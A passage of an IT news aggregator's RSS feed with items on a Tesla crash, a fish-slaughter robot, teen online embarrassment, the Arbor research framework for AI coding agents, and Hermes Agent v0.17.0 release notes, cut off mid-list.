<content:encoded><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. HBO hat nicht nur die erste Folge veröffentlicht, sondern mit Trailern und offiziellen Bildern bereits angedeutet, wie brutal der Konflikt zwischen Team Schwarz und Team Grün eskalieren wird.]]></content:encoded>
</item>
<item>
<title><![CDATA[TX Tesla Kills One in Crash Into Home]]></title>
<description><![CDATA[The New York Times covers the crash. A driver in a Tesla vehicle that was engaged in automated driver-assistance mode crashed into a house in Texas on Friday night and killed a woman inside, the authorities said. The driver, Michael Butler, was in a Tesla Model 3 about 8 p.m. local time and opera...]]></description>
<link>https://tsecurity.de/de/3614435/it-security-nachrichten/tx-tesla-kills-one-in-crash-into-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614435/it-security-nachrichten/tx-tesla-kills-one-in-crash-into-home/</guid>
<pubDate>Mon, 22 Jun 2026 05:53:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The New York Times covers the crash. A driver in a Tesla vehicle that was engaged in automated driver-assistance mode crashed into a house in Texas on Friday night and killed a woman inside, the authorities said. The driver, Michael Butler, was in a Tesla Model 3 about 8 p.m. local time and operating the … <a href="https://www.flyingpenguin.com/tx-tesla-kills-one-in-crash-into-home/" class="more-link">Continue reading <span class="screen-reader-text">TX Tesla Kills One in Crash Into Home</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Founders Fund’s outlier bet on humanely killed fish]]></title>
<description><![CDATA[Shinkei makes a refrigerator-sized robot called Poseidon to kill fish quickly and humanely.]]></description>
<link>https://tsecurity.de/de/3612631/it-nachrichten/founders-funds-outlier-bet-on-humanely-killed-fish/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612631/it-nachrichten/founders-funds-outlier-bet-on-humanely-killed-fish/</guid>
<pubDate>Sat, 20 Jun 2026 20:32:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Shinkei makes a refrigerator-sized robot called Poseidon to kill fish quickly and humanely.]]></content:encoded>
</item>
<item>
<title><![CDATA[I dived into my digital past to revisit my most cringe teenage moments – and realised how lucky I am to not be young and online today]]></title>
<description><![CDATA[Twenty years ago I briefly became the victim of a viral pile-on – all because of a silly YouTube video. But I’m glad I had the chance to embarrass myself and move on. Are today’s teens so fortunate?As a teenager, I went kind of viral – and the most amazing thing about that is it had absolutely ze...]]></description>
<link>https://tsecurity.de/de/3611720/it-nachrichten/i-dived-into-my-digital-past-to-revisit-my-most-cringe-teenage-moments-and-realised-how-lucky-i-am-to-not-be-young-and-online-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611720/it-nachrichten/i-dived-into-my-digital-past-to-revisit-my-most-cringe-teenage-moments-and-realised-how-lucky-i-am-to-not-be-young-and-online-today/</guid>
<pubDate>Sat, 20 Jun 2026 07:17:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Twenty years ago I briefly became the victim of a viral pile-on – all because of a silly YouTube video. But I’m glad I had the chance to embarrass myself and move on. Are today’s teens so fortunate?</p><p>As a teenager, I went kind of viral – and the most amazing thing about that is it had absolutely zero effect on my life. It was the summer holidays in 2006, and my friends Jessie, Emma and I decided to film ourselves singing along to our favourite song. We were overheated and hyperactive, jumping up and down and headbanging, stretching our arms to the heavens as we confessed to our mamas that we’d “just killed a maaaaaan” before asking Scaramouche if he’d do the fandango.</p><p>Later, I added a couple of captions to the video implying we were drunk, even though I was 14 and the closest I’d been to buzzed was the pure placebo of clutching a glass bottle of J2O. Then – for reasons that are now lost to me – I uploaded the video to YouTube a month later, on 19 September 2006, under the title “Bohemian Crap-sody”.</p> <a href="https://www.theguardian.com/society/2026/jun/20/digital-past-cringe-teenage-moments-lucky-not-young-online-today">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers grow a hypothesis tree for AI coding agents]]></title>
<description><![CDATA[AI coding agents can tend to isolate research, running experiments and generating ideas that are then forgotten when context windows reset. This can waste tokens, as models then repeat the same mistakes and hit the same dead ends.



But new research argues that it’s not the model itself, but the...]]></description>
<link>https://tsecurity.de/de/3611377/ai-nachrichten/researchers-grow-a-hypothesis-tree-for-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611377/ai-nachrichten/researchers-grow-a-hypothesis-tree-for-ai-coding-agents/</guid>
<pubDate>Sat, 20 Jun 2026 00:18:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AI coding agents can tend to isolate research, running experiments and generating ideas that are then forgotten when context windows reset. This can waste tokens, as models then repeat the same mistakes and hit the same dead ends.</p>



<p>But new research argues that it’s not the model itself, but the overarching ‘tree,’ that needs tweaking. To that end, data scientists from the Gaoling School of Artificial Intelligence, Renmin University of China, and Microsoft Research have introduced <a href="https://arxiv.org/pdf/2606.11926" target="_blank" rel="noreferrer noopener">Arbor</a>, a “persistent hypothesis tree” that helps agents remember and refine learnings over long research sessions.</p>



<p>A long-lived coordinator manages research strategy across the tree, while short-lived executors spin up isolated worktrees to test different hypotheses. As results come back, the tree updates, narrowing and refining throughout experimentation.</p>



<p>In practical tests, this technique delivered more than two-fold performance gains over standard <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI coding agents</a> across real-world engineering tasks, for the same budget.</p>



<p>This is because, said <a href="https://www.infotech.com/profiles/mahmoud-ramin" target="_blank" rel="noreferrer noopener">Mahmoud Ramin</a>, a research director at Info-Tech Research Group, “Arbor accumulates information over time and allows agents to build upon prior discoveries just as humans do, through learning, adaptation, and eventually building upon what they have learned in the past.”</p>



<h2 class="wp-block-heading">How Arbor grows</h2>



<p>Arbor’s builders argued that longer execution on its own does not guarantee research progress. The challenge is maintaining a state that turns many individual attempts into “cumulative hypothesis refinement.”</p>



<p>Further, progress should not depend on human overseers regularly stepping in to dictate logical next steps or interpret the meaning of previous trials, they noted. To be truly autonomous, agentic research frameworks must maintain connections between experiments, data, results, and failures over time.</p>



<p>Arbor is built to fulfill three system requirements. First, it must be able to branch as sub-trees test out competing hypotheses that are all potentially plausible. At the same time, unrestricted branching can degenerate the whole framework, so that must be controlled to remain organized. The researchers call this “branching with coherence.”</p>



<p>Second, the infrastructure must separate local execution from overarching strategy. Testing out single hypotheses requires short-horizon tasks like editing, debugging, and evaluation. But these should not “obscure” the larger tree making decisions based on evidence gathered across the whole run.</p>



<p>Finally, the systems must be able to distinguish exploratory improvement from verified improvement. This prevents AI from overfitting during trial-and-error instead of iteratively learning from underlying patterns.</p>



<p>Persistence is at the core; the tree links hypotheses and ideas, the <a href="https://www.infoworld.com/article/4187057/ai-coding-agents-may-be-getting-bad-instructions-from-smelly-config-files.html" target="_blank">code or configuration artifacts</a> used to test them, experimental evidence (results, metrics), and distilled insights (such as “this data filter helped, but this learning rate scheduler didn’t”).</p>



<p>Once a project kicks off, shorter-execution work trees run code, log their work, and collect metrics. The long-lived coordinator above them serves as the de-facto head of research, keeping an eye on the process, updating nodes, selecting “promising leaves,” pruning or merging branches, propagating reusable lessons, and deciding which hypotheses to pursue next.</p>



<p>“The tree therefore acts as the operational research state of the system,” Arbor’s builders wrote. “It is simultaneously the search frontier, the memory of past attempts, and the audit trail for verified artifact improvement.”</p>



<h2 class="wp-block-heading">Outperforming Codex and Claude on new data</h2>



<p>To test how well this process works, the researchers evaluated Arbor in an autonomous optimization (AO) setting: the agent was given an initial research artifact (a data pipeline, harness, or training script) and was tasked with improving its “held-out performance” through iterative experimentation, without human steering. Held-out performance is a machine learning (ML) metric that evaluates how well models are able to generalize on data they haven’t seen before.</p>



<p>The tree-based architecture was tested on several real research tasks across model training (its ability to improve training recipes and hyperparameters), harness engineering (how well it can upgrade evaluation or training harnesses), and data synthesis (its capacity to generate better data for training or evals).</p>



<p>Ultimately, Arbor outperformed the average held-out gains of Codex and Claude Code by 2.5x, for the same resource budget.</p>



<p>The takeaway, said the researchers: Keeping a structured, evolving hypothesis tree yields greater performance improvements than running the same models as ‘memoryless’ coding agents.</p>



<p>Arbor’s most innovative feature is its ability to maintain the agent’s memory and retain relevant data from prior attempts and hypotheses, Info-Tech’s Ramin pointed out, and, he said, “the next step for <a href="https://www.cio.com/article/4185912/why-agentic-architecture-is-still-so-puzzling.html" target="_blank">autonomous agents</a> may be accumulating evidence over time.”</p>



<p>However, this does raise concerns about the auditability of robust research environments at a large scale, he noted. “As autonomous agents become more capable of performing work without human operators overseeing them, enterprises will need transparency into how and/or why an agent took a specific action or reached a certain conclusion.”</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)]]></title>
<description><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)
Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about ho...]]></description>
<link>https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</guid>
<pubDate>Fri, 19 Jun 2026 21:46:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.17.0 (v2026.6.19)</h1>
<p><strong>Release Date:</strong> June 19, 2026<br>
<strong>Since v0.16.0:</strong> ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors</p>
<blockquote>
<p><strong>The Reach Release.</strong> v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the <code>memory</code> tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.</p>
</blockquote>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes reaches iMessage — Photon Spectrum, no Mac relay required</strong> — There's now an iMessage platform plugin built on Photon's managed line pool. Run <code>hermes photon login</code>, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Raft — Hermes joins the Raft agent network as a gateway channel</strong> — A new bundled Raft platform adapter lets Hermes connect to <a href="https://raft.build/" rel="nofollow">Raft</a> as an external agent through a wake-channel bridge. Set <code>RAFT_PROFILE</code>, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (<a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A substantially more capable desktop app</strong> — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent <strong>watch-windows</strong> that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install <strong>any VS Code Marketplace theme</strong> directly into the app. The desktop is now a serious daily driver, not a preview. (<a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Background / async subagents — delegate work and keep going</strong> — <code>delegate_task(background=true)</code> now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (<a href="https://github.com/NousResearch/hermes-agent/pull/40946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40946/hovercard">#40946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46968/hovercard">#46968</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Edit images, not just generate them — image-to-image in <code>image_generate</code></strong> — <code>image_generate</code> can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as <code>video_generate</code>), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Automation Blueprints — schedule things without learning cron</strong> — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no <code>slot=value</code> typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing <code>0 8 * * *</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Cursor's Composer model, through your xAI Grok subscription</strong> — <code>grok-composer-2.5-fast</code> is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (<a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#6f89e17</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Full profile builder in the dashboard</strong> — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing <code>config.yaml</code>. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Skills Hub browser rehaul</strong> — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The <code>memory</code> tool got a major upgrade — atomic batch operations</strong> — The <code>memory</code> tool gained an <code>operations</code> array that applies a batch of add/replace/remove edits <strong>atomically against the final character budget</strong>. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Secure dashboard login</strong> — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a <code>public_url</code> override is silently rejected. Exposing your dashboard to the network is safer by default. (<a href="https://github.com/NousResearch/hermes-agent/pull/42578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42578/hovercard">#42578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43214/hovercard">#42578</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Official WhatsApp Business Cloud API adapter</strong> — Alongside the existing Baileys bridge, Hermes now speaks the <strong>official</strong> WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Rich text for Telegram — Bot API 10.1 rich messages</strong> — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45953/hovercard">#45953</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Curator cost optimization — no aux-model spend on routine runs</strong> — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (<code>curator.consolidate: true</code> or <code>hermes curator run --consolidate</code>). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you <strong>zero tokens</strong>. (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>New surfaces &amp; UX</h3>
<ul>
<li>Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (<a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42480/hovercard">#42480</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47985/hovercard">#47985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Live subagent <strong>watch-windows</strong> — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44630/hovercard">#44630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43219/hovercard">#43219</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46951/hovercard">#46951</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from <code>hermes model</code> in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (<a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40563/hovercard">#40563</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49080/hovercard">#49080</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40286/hovercard">#40286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Install <strong>any VS Code Marketplace theme</strong>; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (<a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42286/hovercard">#42286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45086/hovercard">#45086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40708/hovercard">#40708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
